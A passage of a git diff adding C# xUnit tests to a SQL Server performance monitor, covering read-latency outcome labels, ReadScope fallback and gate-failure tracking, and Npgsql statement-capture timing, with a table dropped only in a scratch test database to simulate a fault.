+    public void Response_NeverExceedsBudget_WhenTheFillLandsWithinAFewBytesOfIt()
+    {
+        var rows = Rows(150);
+        var full = Encoding.UTF8.GetByteCount(DarlingMcpReadLatencyTools.BuildResponse(24, null, null, rows, 1000, int.MaxValue));
+
+        var trimmedAtLeastOnce = false;
+        for (var budget = full - 12; budget <= full + 2; budget++)
+        {
+            var json = DarlingMcpReadLatencyTools.BuildResponse(24, null, null, rows, 1000, budget);
+            Assert.True(Encoding.UTF8.GetByteCount(json) <= budget, $"budget {budget}: got {Encoding.UTF8.GetByteCount(json)}");
+            trimmedAtLeastOnce |= json.Contains("\"truncated\":true");
+        }
+
+        Assert.True(trimmedAtLeastOnce);
+    }
+}
diff --git a/Darling/Darling.Tests/ReadLatencyFlushLiveTests.cs b/Darling/Darling.Tests/ReadLatencyFlushLiveTests.cs
index 865b8dbe97..3d546cd1b8 100644
--- a/Darling/Darling.Tests/ReadLatencyFlushLiveTests.cs
+++ b/Darling/Darling.Tests/ReadLatencyFlushLiveTests.cs
@@ -172,6 +172,35 @@ public async Task ARecordAndFlushRoundTrip_MatchesCountsTotalsMaxesAndBucketsEle
         Assert.Equal(3, rows);
     }
 
+    [Fact]
+    public async Task AFallbackAndAGateFailure_AreStoredWithTheirOwnOutcomeLabels()
+    {
+        var baseConnectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the read-latency outcome pin.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var accumulator = new ReadLatencyAccumulator();
+        accumulator.Record(ReadSurface.Mcp, "get_query_store_top", ReadOutcome.FallbackRaw, 40);
+        accumulator.Record(ReadSurface.Mcp, "get_query_store_top", ReadOutcome.GateFailed, 40);
+        await accumulator.FlushAsync(connection, new DateTime(2026, 1, 1, 5, 0, 0, DateTimeKind.Utc), logger: null, ct);
+
+        using var read = new NpgsqlCommand("SELECT outcome FROM collect.read_latency ORDER BY outcome", connection);
+        await using var reader = await read.ExecuteReaderAsync(ct);
+        var labels = new System.Collections.Generic.List<string>();
+        while (await reader.ReadAsync(ct))
+        {
+            labels.Add(reader.GetString(0));
+        }
+
+        Assert.Equal(new[] { "fallback_raw", "gate_failed" }, labels);
+    }
+
     [Fact]
     public async Task ASecondFlushInTheSameHour_AddsToTheFirst()
     {
diff --git a/Darling/Darling.Tests/ReadLatencyWebRecordingTests.cs b/Darling/Darling.Tests/ReadLatencyWebRecordingTests.cs
index d8e4843a54..0ac5f3385a 100644
--- a/Darling/Darling.Tests/ReadLatencyWebRecordingTests.cs
+++ b/Darling/Darling.Tests/ReadLatencyWebRecordingTests.cs
@@ -196,6 +196,36 @@ public async Task ADispatchEntryThatThrowsA57014PostgresException_RecordsOneWebS
         Assert.Equal(1, sample.Count);
     }
 
+    [Fact]
+    public async Task ADispatchEntryThatNotesAFallback_RecordsOneWebSample_WithOutcomeFallbackRaw()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the read-latency web-recording pin.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        const string routeName = "__test_fallback_raw";
+        using var seam = new ExtraDispatchEntryScope(
+            (routeName, (_, _, _) =>
+            {
+                ReadScope.NoteFallback(ReadFallback.FallbackRaw, "test dispatch entry", null);
+                return Task.FromResult("{\"ok\":true}");
+            }));
+
+        var readLatency = new ReadLatencyAccumulator();
+        var server = await BuildServer(postgres, readLatency);
+
+        var response = await Send(server, "/api/read/" + routeName);
+        Assert.Equal(HttpStatusCode.OK, response.StatusCode);
+
+        var sample = Assert.Single(readLatency.Drain(), d => d.Surface == ReadSurface.Web && d.Route == routeName);
+        Assert.Equal(ReadOutcome.FallbackRaw, sample.Outcome);
+    }
+
     /// <summary>
     /// Sets <see cref="DarlingWebEndpoints.TestOnlyExtraDispatchEntry"/> for the scope's lifetime and
     /// clears it on <see cref="Dispose"/>. The entry is held per async flow (#4782): only this fact, and the
diff --git a/Darling/Darling.Tests/ReadScopeGateFaultLiveTests.cs b/Darling/Darling.Tests/ReadScopeGateFaultLiveTests.cs
new file mode 100644
index 0000000000..6893bb18ea
--- /dev/null
+++ b/Darling/Darling.Tests/ReadScopeGateFaultLiveTests.cs
@@ -0,0 +1,92 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test mints its own database through
+   ScratchPostgres and touches nothing on the shared one. */
+
+/// <summary>
+/// #5097: the source decision itself faulting on a connection that opens and accepts the read-only step. The
+/// scratch database is migrated and then loses the wide-table coverage table, so the gate's own input read
+/// faults. Both readers must note <c>GateFailed</c> and answer from raw, and the gate's single Warning is the
+/// only line logged.
+/// </summary>
+public sealed class ReadScopeGateFaultLiveTests
+{
+    private const int ServerId = -5097001;
+    private const string ServerName = "gate-fault-live";
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task<ScratchPostgres> FaultedStoreAsync(CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        foreach (var sql in new[]
+        {
+            "INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date) "
+                + $"VALUES ({ServerId}, '{ServerName}', '{ServerName}', TRUE, 16, now(), now()) ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE",
+            "DROP TABLE collect.query_store_interval_wide_coverage CASCADE",
+        })
+        {
+            await using var command = new NpgsqlCommand(sql, connection);
+            await command.ExecuteNonQueryAsync(ct);
+        }
+
+        return scratch;
+    }
+
+    [Fact]
+    public async Task TheMcpTopRead_WhenTheGateInputReadFaults_NotesGateFailed_AndReadsRaw()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5097 gate-fault live test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await FaultedStoreAsync(ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var end = new DateTime(2026, 9, 15, 0, 0, 0, DateTimeKind.Unspecified);
+
+        var logger = new CapturingTestLogger();
+        using var scope = ReadScope.Open(logger);
+        var result = await DarlingDataReader.GetQueryStoreTopWithReachAsync(postgres, ServerId, end.AddDays(-3), end, 10, null, null, null, ct);
+
+        Assert.Null(result.Table);
+        Assert.Equal(ReadFallback.GateFailed, scope.Fallback);
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+    }
+
+    [Fact]
+    public async Task TheComposeWideGate_WhenTheGateInputReadFaults_NotesGateFailed_AndReadsRaw()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5097 gate-fault live test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await FaultedStoreAsync(ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var end = new DateTime(2026, 9, 15, 0, 0, 0, DateTimeKind.Unspecified);
+
+        var logger = new CapturingTestLogger();
+        using var scope = ReadScope.Open(logger);
+        var resolution = await DarlingWebEndpoints.ResolveQueryStoreWideEligibleAsync(postgres, null, end.AddDays(-3), end, end, ct);
+
+        Assert.False(resolution.Eligible);
+        Assert.Equal(ReadFallback.GateFailed, scope.Fallback);
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+    }
+}
diff --git a/Darling/Darling.Tests/ReadScopeStatementCaptureLiveTests.cs b/Darling/Darling.Tests/ReadScopeStatementCaptureLiveTests.cs
new file mode 100644
index 0000000000..dfdd45c12b
--- /dev/null
+++ b/Darling/Darling.Tests/ReadScopeStatementCaptureLiveTests.cs
@@ -0,0 +1,241 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5097: per-statement capture inside a read. The live facts: the scope is visible inside the Npgsql activity
+/// callbacks, when the activity stops, which tag carries a row count, what a command outside a scope costs, and
+/// that fan-out loses no entry.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ReadScopeStatementCaptureLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static NpgsqlDataSource Source() => NpgsqlDataSource.Create(ConnectionString!);
+
+    private static void RequirePg() =>
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the #5097 statement-capture live tests.");
+
+    [Fact]
+    public async Task ARealRead_InsideACapturingScope_DeliversItsTimings_ThroughTheAsyncLocal()
+    {
+        RequirePg();
+        ReadStatementCapture.Register();
+        await using var source = Source();
+        /* Warm the pool so the read below runs on a pooled connection. */
+        await using (var warm = await source.OpenConnectionAsync()) { }
+
+        using var opened = ReadScope.Open(null);
+        opened.Scope.CaptureStatements = true;
+        await using (var command = source.CreateCommand("-- a comment\nSELECT 5097 AS capture_probe"))
+        {
+            await using var reader = await command.ExecuteReaderAsync();
+            while (await reader.ReadAsync()) { }
+        }
+
+        var seen = opened.Scope.Snapshot();
+        var probe = Assert.Single(seen, t => t.Label == "SELECT 5097 AS capture_probe");
+        Assert.True(probe.DurationMs >= 0);
+        Assert.Equal(1, probe.Ordinal > 0 ? 1 : 0);
+        Assert.Equal(8, probe.Hash.Length);
+    }
+
+    [Fact]
+    public async Task TheActivity_StopsAtReaderClose_SoTheDurationIncludesTheHeldReader()
+    {
+        RequirePg();
+        ReadStatementCapture.Register();
+        await using var source = Source();
+        using var opened = ReadScope.Open(null);
+        opened.Scope.CaptureStatements = true;
+
+        /* Postgres buffers the server's output, so a slow generate_series delivers its first row late; the
+           stop point is therefore probed from the client: read ONE row, hold the reader open for 600 ms, then
+           close it. A stop at first result would be a few ms; a stop at reader close includes the 600 ms. */
+        var watch = Stopwatch.StartNew();
+        long firstRowMs;
+        await using (var command = source.CreateCommand("SELECT g FROM generate_series(1, 5) AS g"))
+        {
+            await using var reader = await command.ExecuteReaderAsync();
+            Assert.True(await reader.ReadAsync());
+            firstRowMs = watch.ElapsedMilliseconds;
+            await Task.Delay(600);
+        }
+
+        var totalMs = watch.ElapsedMilliseconds;
+        var timing = Assert.Single(opened.Scope.Snapshot(), t => t.Label.StartsWith("SELECT g FROM generate_series", StringComparison.Ordinal));
+        System.IO.File.AppendAllText(System.IO.Path.Combine(System.IO.Path.GetTempPath(), "pm5097-capture-evidence.txt"),
+            $"(b) firstRowMs={firstRowMs} totalMs={totalMs} activityMs={timing.DurationMs:F0} rows={timing.Rows?.ToString() ?? "null"}\n");
+        Assert.True(timing.DurationMs >= 550, $"duration {timing.DurationMs} ms stops before the reader closed (first row at {firstRowMs} ms)");
+    }
+
+    [Fact]
+    public async Task TheStoppedActivity_TagNames_AreListed_AndTheRowCountTagIsReadWhenPresent()
+    {
+        RequirePg();
+        await using var source = Source();
+        var tags = new List<string>();
+        using var listener = new ActivityListener
+        {
+            ShouldListenTo = s => s.Name == "Npgsql",
+            Sample = (ref ActivityCreationOptions<ActivityContext> _) => ActivitySamplingResult.AllDataAndRecorded,
+            ActivityStopped = a =>
+            {
+                if (a.TagObjects.Any(t => t.Key == "db.query.text" && (t.Value as string)?.Contains("tag_probe_5097") == true))
+                {
+                    lock (tags) { tags.AddRange(a.TagObjects.Select(t => t.Key + "=" + t.Value)); }
+                }
+            },
+        };
+        ActivitySource.AddActivityListener(listener);
+
+        await using (var command = source.CreateCommand("SELECT g AS tag_probe_5097 FROM generate_series(1, 7) AS g"))
+        {
+            await using var reader = await command.ExecuteReaderAsync();
+            while (await reader.ReadAsync()) { }
+        }
+
+        string[] snapshot;
+        lock (tags) { snapshot = tags.ToArray(); }
+        System.IO.File.AppendAllText(System.IO.Path.Combine(System.IO.Path.GetTempPath(), "pm5097-capture-evidence.txt"),
+            "(c) tags: " + string.Join(" | ", snapshot.Select(t => t.Length > 90 ? t[..90] : t)) + "\n");
+        Assert.NotEmpty(snapshot);
+        Assert.Contains(snapshot, t => t.StartsWith("db.query.text=", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task ACommandOutsideAnyScope_IsNotSampled_AndCreatesNoActivity()
+    {
+        RequirePg();
+        ReadStatementCapture.Register();
+        await using var source = Source();
+
+        var options = default(ActivityCreationOptions<ActivityContext>);
+        Assert.Null(ReadScope.Current);
+        Assert.Equal(ActivitySamplingResult.None, ReadStatementCapture.Sample(ref options));
+
+        using (var opened = ReadScope.Open(null))
+        {
+            /* A scope that did not ask for capture is also not sampled. */
+            Assert.Equal(ActivitySamplingResult.None, ReadStatementCapture.Sample(ref options));
+            opened.Scope.CaptureStatements = true;
+            Assert.Equal(ActivitySamplingResult.AllDataAndRecorded, ReadStatementCapture.Sample(ref options));
+        }
+
+        /* The command still runs normally outside any scope. */
+        await using var plain = source.CreateCommand("SELECT 1");
+        Assert.Equal(1, await plain.ExecuteScalarAsync());
+    }
+
+    [Fact]
+    public async Task ConcurrentCommands_InsideOneScope_AreAllCaptured()
+    {
+        RequirePg();
+        ReadStatementCapture.Register();
+        await using var source = Source();
+        using var opened = ReadScope.Open(null);
+        opened.Scope.CaptureStatements = true;
+
+        const int Fan = 32;
+        await Task.WhenAll(Enumerable.Range(0, Fan).Select(async i =>
+        {
+            await using var command = source.CreateCommand($"SELECT {i} AS fan_probe_5097, pg_sleep(0.05)");
+            await command.ExecuteScalarAsync();
+        }));
+
+        var seen = opened.Scope.Snapshot().Where(t => t.Label.Contains("fan_probe_5097", StringComparison.Ordinal)).ToList();
+        Assert.Equal(Fan, seen.Count);
+        Assert.Equal(Fan, seen.Select(t => t.Label).Distinct().Count());
+        Assert.Equal(Fan, seen.Select(t => t.Ordinal).Distinct().Count());
+    }
+}
+
+/// <summary>#5097: the label function and the queue cap (no database).</summary>
+public sealed class ReadScopeStatementLabelTests
+{
+    [Fact]
+    public void TheLabel_SkipsLeadingCommentsAndBlankLines()
+    {
+        Assert.Equal("SELECT a FROM t", StatementLabel.Label("-- note\n\n  -- more\n  SELECT a FROM t\nWHERE x = 1"));
+        Assert.Equal("SELECT a FROM t", StatementLabel.Label("--c\r\nSELECT a FROM t\r\nWHERE x"));
+    }
+
+    [Fact]
+    public void TheLabel_IsCutAt120Characters()
+    {
+        var label = StatementLabel.Label("SELECT " + new string('x', 400));
+        Assert.Equal(120, label.Length);
+    }
+
+    [Fact]
+    public void TheHash_IsStable_ShortAndDependsOnTheWholeText()
+    {
+        Assert.Equal(StatementLabel.Hash("SELECT 1"), StatementLabel.Hash("SELECT 1"));
+        Assert.NotEqual(StatementLabel.Hash("SELECT 1"), StatementLabel.Hash("SELECT 2"));
+        Assert.Equal(8, StatementLabel.Hash("SELECT 1").Length);
+        /* Known SHA-256 prefix, so a change of algorithm is noticed. */
+        Assert.Equal("e1b0c442".Length, StatementLabel.Hash(string.Empty).Length);
+        Assert.Equal("e3b0c442", StatementLabel.Hash(string.Empty));
+    }
+
+    [Fact]
+    public void ANullOrEmptyText_GivesAnEmptyLabel() => Assert.Equal(string.Empty, StatementLabel.Label(null));
+
+    [Fact]
+    public void TheQueue_IsCapped_AndCountsTheOverflow()
+    {
+        using var opened = ReadScope.Open(null);
+        for (var i = 0; i < ReadScope.MaxStatements + 10; i++)
+        {
+            opened.Scope.AddStatement("SELECT " + i, 1, null);
+        }
+
+        Assert.Equal(ReadScope.MaxStatements, opened.Scope.Snapshot().Count);
+        Assert.Equal(10, opened.Scope.StatementsDropped);
+        Assert.Equal(1, opened.Scope.Snapshot()[0].Ordinal);
+    }
+
+    [Fact]
+    public void NoteSource_KeepsOnlyTheFixedVocabulary_AndNoteRows_Records()
+    {
+        using var opened = ReadScope.Open(null);
+        ReadScope.NoteSource("something_else");
+        Assert.Null(opened.Scope.Source);
+        ReadScope.NoteSource(ReadScope.SourceIntervalTable, "gate");
+        ReadScope.NoteRows(12);
+        Assert.Equal("interval_table", opened.Scope.Source);
+        Assert.Equal("gate", opened.Scope.SourceReason);
+        Assert.Equal(12, opened.Scope.Rows);
+    }
+
+    [Fact]
+    public void NoteSourceAndRows_OutsideAScope_DoNothing()
+    {
+        Assert.Null(ReadScope.Current);
+        ReadScope.NoteSource(ReadScope.SourceRaw);
+        ReadScope.NoteRows(3);
+    }
+
+    [Fact]
+    public void ARecorderOpenedScope_DoesNotCaptureUntilTheRecorderAsks()
+    {
+        using var opened = ReadScope.Open(null);
+        Assert.False(opened.Scope.CaptureStatements);
+    }
+}
diff --git a/Darling/Darling.Tests/ReadScopeTests.cs b/Darling/Darling.Tests/ReadScopeTests.cs
new file mode 100644
index 0000000000..f4a3278ea9
--- /dev/null
+++ b/Darling/Darling.Tests/ReadScopeTests.cs
@@ -0,0 +1,260 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5097: the ambient <see cref="ReadScope"/> a recorded read runs inside, and the readers that note a silent
+/// raw fallback into it. No database: every fault is a store that cannot be reached.
+/// </summary>
+public sealed class ReadScopeTests
+{
+    /// <summary>A port nothing listens on, so the open is refused at once. Never <c>localhost</c>: a shard may
+    /// have a live Postgres there.</summary>
+    private const string RefusedConnectionString = "Host=127.0.0.1;Port=1;Username=u;Password=p;Database=d;Timeout=2;Command Timeout=2;Pooling=false";
+
+    private static async Task NoteInChildAsync(ReadFallback kind)
+    {
+        await Task.Yield();
+        ReadScope.NoteFallback(kind, "child", null);
+    }
+
+    [Fact]
+    public async Task AFallbackNotedInAChildAsyncMethod_IsVisibleToTheParentAfterTheAwait()
+    {
+        using var scope = ReadScope.Open(null);
+        await NoteInChildAsync(ReadFallback.FallbackRaw);
+
+        Assert.Equal(ReadFallback.FallbackRaw, scope.Fallback);
+    }
+
+    [Fact]
+    public async Task TwoConcurrentScopes_DoNotCrossNotes()
+    {
+        async Task<ReadFallback?> RunAsync(ReadFallback? note)
+        {
+            using var scope = ReadScope.Open(null);
+            await Task.Yield();
+            if (note is { } kind)
+            {
+                await NoteInChildAsync(kind);
+            }
+
+            await Task.Delay(20, TestContext.Current.CancellationToken);
+            return scope.Fallback;
+        }
+
+        var results = await Task.WhenAll(RunAsync(ReadFallback.GateFailed), RunAsync(null), RunAsync(ReadFallback.FallbackRaw));
+
+        Assert.Equal(new ReadFallback?[] { ReadFallback.GateFailed, null, ReadFallback.FallbackRaw }, results);
+    }
+
+    [Fact]
+    public void Resolve_ReplacesOnlyOk_AndGateFailedOutranksFallbackRaw()
+    {
+        Assert.Equal(ReadOutcome.FallbackRaw, ReadScope.Resolve(ReadOutcome.Ok, ReadFallback.FallbackRaw));
+        Assert.Equal(ReadOutcome.GateFailed, ReadScope.Resolve(ReadOutcome.Ok, ReadFallback.GateFailed));
+        Assert.Equal(ReadOutcome.Ok, ReadScope.Resolve(ReadOutcome.Ok, null));
+        foreach (var bigger in new[] { ReadOutcome.Timeout, ReadOutcome.Cancelled, ReadOutcome.Error, ReadOutcome.Limit })
+        {
+            Assert.Equal(bigger, ReadScope.Resolve(bigger, ReadFallback.GateFailed));
+            Assert.Equal(bigger, ReadScope.Resolve(bigger, ReadFallback.FallbackRaw));
+        }
+
+        using var scope = ReadScope.Open(null);
+        ReadScope.NoteFallback(ReadFallback.GateFailed, "a", null);
+        ReadScope.NoteFallback(ReadFallback.FallbackRaw, "b", null);
+        Assert.Equal(ReadOutcome.GateFailed, ReadScope.Resolve(ReadOutcome.Ok, scope.Fallback));
+    }
+
+    [Fact]
+    public void ANoteWithNoScope_DoesNotThrow_AndDisposeRestoresThePreviousScope()
+    {
+        Assert.Null(ReadScope.Current);
+        ReadScope.NoteFallback(ReadFallback.GateFailed, "unscoped", new InvalidOperationException("x"));
+        ReadScope.Warn("unscoped", null);
+
+        using var outer = ReadScope.Open(null);
+        using (var inner = ReadScope.Open(null))
+        {
+            Assert.Same(inner.Scope, ReadScope.Current);
+        }
+
+        Assert.Same(outer.Scope, ReadScope.Current);
+    }
+
+    [Fact]
+    public void ANoteReachesTheScopeLoggerOnce_AtWarning_WithTheException()
+    {
+        var logger = new CapturingTestLogger();
+        using var scope = ReadScope.Open(logger);
+
+        var thrown = new InvalidOperationException("boom");
+        ReadScope.NoteFallback(ReadFallback.FallbackRaw, "a site", thrown);
+
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Contains("a site", logger.Joined, StringComparison.Ordinal);
+        var logged = Assert.Single(logger.ExceptionsAtLevel(LogLevel.Warning));
+        Assert.Same(thrown, logged);
+    }
+
+    [Fact]
+    public void ALedgerUncoveredNote_ResolvesToFallbackRaw_ReplacesOnlyOk_AndLogsNothingAtAnyLevel()
+    {
+        Assert.Equal(ReadOutcome.FallbackRaw, ReadScope.Resolve(ReadOutcome.Ok, ReadFallback.LedgerUncovered));
+        foreach (var bigger in new[] { ReadOutcome.Timeout, ReadOutcome.Cancelled, ReadOutcome.Error, ReadOutcome.Limit })
+        {
+            Assert.Equal(bigger, ReadScope.Resolve(bigger, ReadFallback.LedgerUncovered));
+        }
+
+        var logger = new CapturingTestLogger();
+        using var scope = ReadScope.Open(logger);
+        ReadScope.Note(ReadFallback.LedgerUncovered);
+
+        Assert.Equal(ReadFallback.LedgerUncovered, scope.Fallback);
+        Assert.Empty(logger.Lines);
+    }
+
+    [Fact]
+    public void TheReasonsRank_GateFailedThenFallbackRaw_ThenLedgerUncovered_InAnyOrder_ThroughBothKindsOfNote()
+    {
+        /* weakest first: the held reason is whichever of the two noted ranks higher, and an equal one stays itself */
+        var weakestFirst = new[] { ReadFallback.LedgerUncovered, ReadFallback.FallbackRaw, ReadFallback.GateFailed };
+        for (var first = 0; first < weakestFirst.Length; first++)
+        {
+            for (var second = 0; second < weakestFirst.Length; second++)
+            {
+                foreach (var firstQuiet in new[] { true, false })
+                {
+                    foreach (var secondQuiet in new[] { true, false })
+                    {
+                        using var scope = ReadScope.Open(null);
+                        NoteEither(weakestFirst[first], firstQuiet);
+                        NoteEither(weakestFirst[second], secondQuiet);
+
+                        Assert.Equal(weakestFirst[Math.Max(first, second)], scope.Fallback);
+                    }
+                }
+            }
+        }
+    }
+
+    private static void NoteEither(ReadFallback kind, bool quiet)
+    {
+        if (quiet)
+        {
+            ReadScope.Note(kind);
+        }
+        else
+        {
+            ReadScope.NoteFallback(kind, "rank test", null);
+        }
+    }
+
+    [Fact]
+    public void ANoteWithNoLog_RecordsTheFallback_AndWritesNothing()
+    {
+        var logger = new CapturingTestLogger();
+        using var scope = ReadScope.Open(logger);
+
+        ReadScope.Note(ReadFallback.FallbackRaw);
+        Assert.Equal(ReadFallback.FallbackRaw, scope.Fallback);
+        ReadScope.Note(ReadFallback.GateFailed);
+        ReadScope.Note(ReadFallback.FallbackRaw);
+
+        Assert.Equal(ReadFallback.GateFailed, scope.Fallback);
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+    }
+
+    [Fact]
+    public async Task TheGateFaulting_ReturnsAPlanThatSaysTheDecisionFailed_AndWarnsOnce()
+    {
+        var logger = new CapturingTestLogger();
+        await using var connection = new NpgsqlConnection(RefusedConnectionString);
+        var end = new DateTime(2026, 9, 15, 0, 0, 0, DateTimeKind.Utc);
+
+        var plan = await QueryStoreIntervalWide.ResolveReadAsync(
+            connection, 1, end.AddHours(-48), end, end, TimeSpan.FromHours(24), 5, logger, TestContext.Current.CancellationToken);
+
+        Assert.False(plan.UseTable);
+        Assert.True(plan.DecisionFailed);
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+    }
+
+    [Fact]
+    public async Task TheMcpTopQueriesRead_OverAnUnreachableStore_NotesGateFailed_AndLogsThroughTheScope()
+    {
+        var logger = new CapturingTestLogger();
+        await using var postgres = NpgsqlDataSource.Create(RefusedConnectionString);
+        var end = new DateTime(2026, 9, 15, 0, 0, 0, DateTimeKind.Utc);
+
+        using var scope = ReadScope.Open(logger);
+        await Assert.ThrowsAnyAsync<Exception>(() => DarlingDataReader.GetQueryStoreTopWithReachAsync(
+            postgres, 1, end.AddHours(-25), end, 10, null, null, null, TestContext.Current.CancellationToken));
+
+        Assert.Equal(ReadFallback.GateFailed, scope.Fallback);
+        Assert.True(logger.CountAtLevel(LogLevel.Warning) >= 1, logger.Joined);
+    }
+
+    [Fact]
+    public async Task TheComposeWideGate_OverAnUnreachableStore_NotesGateFailed()
+    {
+        await using var postgres = NpgsqlDataSource.Create(RefusedConnectionString);
+        var end = new DateTime(2026, 9, 15, 0, 0, 0, DateTimeKind.Utc);
+
+        using var scope = ReadScope.Open(new CapturingTestLogger());
+        var resolution = await DarlingWebEndpoints.ResolveQueryStoreWideEligibleAsync(
+            postgres, null, end.AddDays(-3), end, null, TestContext.Current.CancellationToken);
+
+        Assert.False(resolution.Eligible);
+        Assert.Equal(ReadFallback.GateFailed, scope.Fallback);
+    }
+
+    [Fact]
+    public async Task TheHourlyEdgesGuard_OnAConnectionThatCannotRun_NotesGateFailed_AndRethrowsTheRollbackFault()
+    {
+        await using var connection = new NpgsqlConnection(RefusedConnectionString);
+        var hour = new DateTime(2026, 9, 15, 3, 0, 0, DateTimeKind.Utc);
+        var candidate = new ComposeHourlyEdgesCandidate("query_store_stats", "query_store_stats_hourly", hour, hour.AddHours(1));
+
+        using var scope = ReadScope.Open(new CapturingTestLogger());
+        await Assert.ThrowsAnyAsync<Exception>(() => DarlingWebEndpoints.ResolveHourlyEdgesVerdictAsync(
+            connection, candidate, null, 30, TestContext.Current.CancellationToken));
+
+        Assert.Equal(ReadFallback.GateFailed, scope.Fallback);
+    }
+
+    [Fact]
+    public async Task AGuardFaultPlusARollbackFault_LogsTwoWarnings_AndTheSnapshotStartAddsNoThird()
+    {
+        var logger = new CapturingTestLogger();
+        await using var connection = new NpgsqlConnection(RefusedConnectionString);
+        var hour = new DateTime(2026, 9, 15, 3, 0, 0, DateTimeKind.Utc);
+        var candidate = new ComposeHourlyEdgesCandidate("query_store_stats", "query_store_stats_hourly", hour, hour.AddHours(1));
+
+        using var scope = ReadScope.Open(logger);
+        var fault = await Assert.ThrowsAnyAsync<Exception>(() => DarlingWebEndpoints.ResolveHourlyEdgesVerdictAsync(
+            connection, candidate, null, 30, TestContext.Current.CancellationToken));
+        Assert.Equal(2, logger.CountAtLevel(LogLevel.Warning));
+
+        DarlingWebEndpoints.NoteHourlyEdgesSnapshotStartFault(fault);
+
+        Assert.Equal(2, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Equal(ReadFallback.GateFailed, scope.Fallback);
+    }
+}
diff --git a/Darling/Darling.Tests/ReadmeDerivedCountPinTests.cs b/Darling/Darling.Tests/ReadmeDerivedCountPinTests.cs
index f355f6ab5c..2a58f7904a 100644
--- a/Darling/Darling.Tests/ReadmeDerivedCountPinTests.cs
+++ b/Darling/Darling.Tests/ReadmeDerivedCountPinTests.cs
@@ -43,6 +43,7 @@ namespace Darling.Tests;
 /// bolded number, a line rewrapped — is otherwise indistinguishable from a clean tree by its result alone,
 /// which is the failure mode this whole family of source-parsing tests exists to catch.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class ReadmeDerivedCountPinTests
 {
     /* The derived quantities, restated ONCE each. Everything below compares against these rather than against
diff --git a/Darling/Darling.Tests/RecurrenceLabelStoreReadTests.cs b/Darling/Darling.Tests/RecurrenceLabelStoreReadTests.cs
index 1fb1da2919..1280d6cb56 100644
--- a/Darling/Darling.Tests/RecurrenceLabelStoreReadTests.cs
+++ b/Darling/Darling.Tests/RecurrenceLabelStoreReadTests.cs
@@ -34,6 +34,7 @@ namespace Darling.Tests;
 /// expects and the labeler turns them into the sentence.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class RecurrenceLabelStoreReadTests
 {
     private const string ServerName = "recurrence-label-e2e";
diff --git a/Darling/Darling.Tests/ReenterLineTests.cs b/Darling/Darling.Tests/ReenterLineTests.cs
new file mode 100644
index 0000000000..9bec814db7
--- /dev/null
+++ b/Darling/Darling.Tests/ReenterLineTests.cs
@@ -0,0 +1,57 @@
+/*
